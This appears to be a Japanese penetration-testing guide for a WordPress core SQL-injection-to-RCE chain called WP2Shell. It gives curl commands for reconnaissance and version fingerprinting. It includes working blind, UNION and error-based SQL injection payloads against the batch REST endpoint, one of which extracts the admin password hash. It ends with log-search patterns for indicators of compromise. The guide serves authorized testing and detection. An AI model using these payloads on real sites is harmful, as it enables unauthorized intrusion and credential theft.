CVE-2026-60137 · CVE-2026-63030 — ブラックボックステスト手法

WP2Shell 詳細診断ガイド

CVSS 9.1 Critical ブラックボックステスト 認証 不要 プラグイン 不要(Coreのみ)
TL;DR

WP2Shellの診断は7つのフェーズで構成される。事前情報収集 → バッチエンドポイント到達性確認 → バージョン特定 → SQLi検出 → RCE連鎖検証(非破壊) → 侵害インジケータ調査 → WAF/防御テスト。各フェーズは非破壊的で、本番環境でも安全に実行可能。

Phase 1: 事前情報収集


目的
ターゲットがWordPressであるかを確認し、REST APIの可用性を評価する。
curl — WordPress検出とREST API可用性確認
# 1. WordPress検出(ジェネレーターメタタグ)
curl -sL "https://target.com/" | grep -oP 'content="WordPress [^"]*"'
# 出力: content="WordPress 7.0.1"
# 2. REST APIエンドポイント確認
curl -sL "https://target.com/wp-json/" | head -20
# 出力: {"namespace":"","routes":{"/":{...},"/wp/v2":{...}}}
# 3. REST APIの/usersエンドポイント公開確認
curl -sL "https://target.com/wp-json/wp/v2/users" | python3 -m json.tool | head
# 出力: [{"id":1,"name":"admin",...}]
判定基準
影響あり: WordPressバージョンが確認され、/wp-json/ が応答を返す
影響なし: WordPressではない、またはREST APIが無効化されている
要確認: バージョン情報が隠蔽されているがREST APIは稼働中

Phase 2: バッチエンドポイント到達性確認


目的
/wp-json/batch/v1 エンドポイントが到達可能かを確認する。このエンドポイントはWP2Shell攻撃の唯一の入り口である。
curl — バッチエンドポイントテスト(2つのパス)
# テストA: 標準RESTパス
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests":[]}'
# 期待応答: {"code":"rest_missing_callback_param","message":...}
# テストB: クエリパラメータパス
curl -sX POST "https://target.com/?rest_route=/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests":[]}'
# 期待応答: 同上
# テストC: 空ボディ(バリデーションエラー確認)
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" -d '{}'
# 期待応答: {"code":"rest_invalid_param","message":...}
判定基準
エンドポイント到達可能: rest_missing_callback_param または rest_invalid_param のレスポンス
エンドポイント到達不可: 404 / 403 / 接続拒否
WAFブロック中: Cloudflare/ModSecurity等のブロックページ

Phase 3: バージョンフィンガープリント


目的
WordPressの正確なバージョンを特定し、影響範囲を判定する。
バージョン特定の複数手法
# 手法A: generatorメタタグ
curl -sL "https://target.com/" | grep -oP 'WordPress [0-9.]+'
# 手法B: README.html(デフォルトで残っている場合)
curl -sL "https://target.com/readme.html" | grep -oP 'Version [0-9.]+'
# 手法C: REST API /wp/v2/settings(認証が必要だが試す価値あり)
curl -sL "https://target.com/wp-json/" | grep -oP '"version":"[^"]*"'
# 手法D: wp-includes/version.phpの静的ファイルアクセス
curl -sI "https://target.com/wp-includes/version.php"
# 手法E: wp2shell-scanner自動判定
python3 wp2shell.py https://target.com
バージョン範囲CVE-2026-60137 (SQLi)CVE-2026-63030 (RCE)修正バージョン
< 6.8.0影響なし影響なし
6.8.0 – 6.8.5影響あり影響なし6.8.6
6.9.0 – 6.9.4影響あり影響あり6.9.5
7.0.0 – 7.0.1影響あり影響あり7.0.2
6.8.6, 6.9.5, 7.0.2+修正済み修正済み

Phase 4: SQLインジェクション検出


目的
CVE-2026-60137のSQLインジェクションを実際にテストする。author__not_inパラメータ経由で、バッチエンドポイントのルート混同を利用する。
⚠️ 警告: 以下のテストは非破壊的(データ読み取りのみ)。ただし、本番環境で実行する場合は事前に許可を得ること。
4a: ルート混同のトリガー
不正なパスを含むバッチリクエストを送信し、$matches 配列と $validation 配列のインデックスズレを発生させる。
curl — バッチリクエストでルート混同トリガー
# 不正なpathを含むバッチリクエスト
# 第1リクエスト: 不正なpath(WP_Error生成 → matches配列に追加されない)
# 第2リクエスト: 正常なpostsエンドポイント
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{
"requests": [
{"method": "GET", "path": "http://:malformed"},
{"method": "GET", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}}
]
}'
4b: Time-Based Blind SQLi検出
MySQLのSLEEP()関数を使って、SQLインジェクションの存在を応答時間で検出する。
Time-Based Blind SQLi テスト
# 正常なリクエスト(ベースライン)
time curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests": [
{"method":"GET","path":"http://:invalid"},
{"method":"GET","path":"/wp/v2/posts","body":{"author_exclude":"1 OR 1=1"}}
]}'
# 期待: 正常な応答時間(例: 0.3秒)
# SLEEPペイロード(5秒遅延)
time curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests": [
{"method":"GET","path":"http://:invalid"},
{"method":"GET","path":"/wp/v2/posts","body":{"author_exclude":"1 AND SLEEP(5)"}}
]}'
# 脆弱な場合: 5秒+の遅延
# 修正済み: 即時応答(author__not_inが整数に強制変換される)
4c: Error-Based SQLi(MySQLエラー表示が有効な場合)
Error-Based SQLi テスト
# データベース名抽出テスト
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests": [
{"method":"GET","path":"http://:invalid"},
{"method":"GET","path":"/wp/v2/posts","body":{"author_exclude":"1 UNION SELECT database()-- "}}
]}'
4d: データ抽出(管理者ハッシュ取得)
管理者パスワードハッシュ抽出ペイロード
# adminユーザーのuser_passハッシュを1文字ずつ抽出(binary search)
# ASCII値が100以上か?で二分検索
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests": [
{"method":"GET","path":"http://:invalid"},
{"method":"GET","path":"/wp/v2/posts","body":{"author_exclude":"1 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=char(97,100,109,105,110) LIMIT 1),1,1))>100,SLEEP(3),1)"}}
]}'
# 遅延あり → 1文字目のASCII > 100
# 遅延なし → 1文字目のASCII <= 100
判定基準
脆弱: SLEEPペイロードで応答時間が指定秒数遅延する
修正済み: 応答時間に遅延なし(wp_parse_id_list()で整数化されるためSQLi不可能)
WAFブロック中: リクエストがブロックされ、403/ブロックページが返る

Phase 5: RCE連鎖検証(非破壊)


目的
SQLインジェクションからRCEへの連鎖パスを検証するが、実際のエクスプロイトは実行しない。あくまで到達可能性を非破壊で確認する。
1
バッチエンドポイント到達性確認(Phase 2) → OK
2
ルート混同トリガー確認(Phase 4a) → OK
3
SQLi検出(Phase 4b) → OK
4
公開ユーザー列挙 → /wp-json/wp/v2/users でadminユーザーID確認
5
パスワードハッシュ抽出可能か → SLEEP/UNIONベースで検証
6
【非破壊】 ここで停止。実際のハッシュ抽出・クラック・ログインは実行しない
⚠️ 重要な区別: Phase 5は到達可能性の検証であり、実際のエクスプロイト実行ではない。実際のパスワードハッシュ抽出、Hashcatによるクラック、管理者ログイン、プラグインアップロードによるRCEは、ペンテストの契約範囲内でのみ許可されるべきである。

Phase 6: 侵害インジケータ(IoC)調査


目的
サイトが既にWP2Shellで侵害されていないか、ログとファイルシステムをチェックする。
WebサーバーログでのWP2Shell IoC検索
# 1. バッチエンドポイントへの不審なPOSTリクエスト
grep -E "POST.*(batch/v1|rest_route=/batch)" /var/log/nginx/access.log
# 2. malformed path(http://: または http::)を含むリクエスト
grep -E "http://:|http::" /var/log/nginx/access.log
# 3. SQLiキーワードを含むauthor_excludeパラメータ
grep -iE "SELECT|UNION|SLEEP|CHAR_LENGTH|SUBSTRING" /var/log/nginx/access.log
# 4. wp2shellプラグインアップロードの痕跡
grep -E "multipart/form-data.*wp2shell" /var/log/nginx/access.log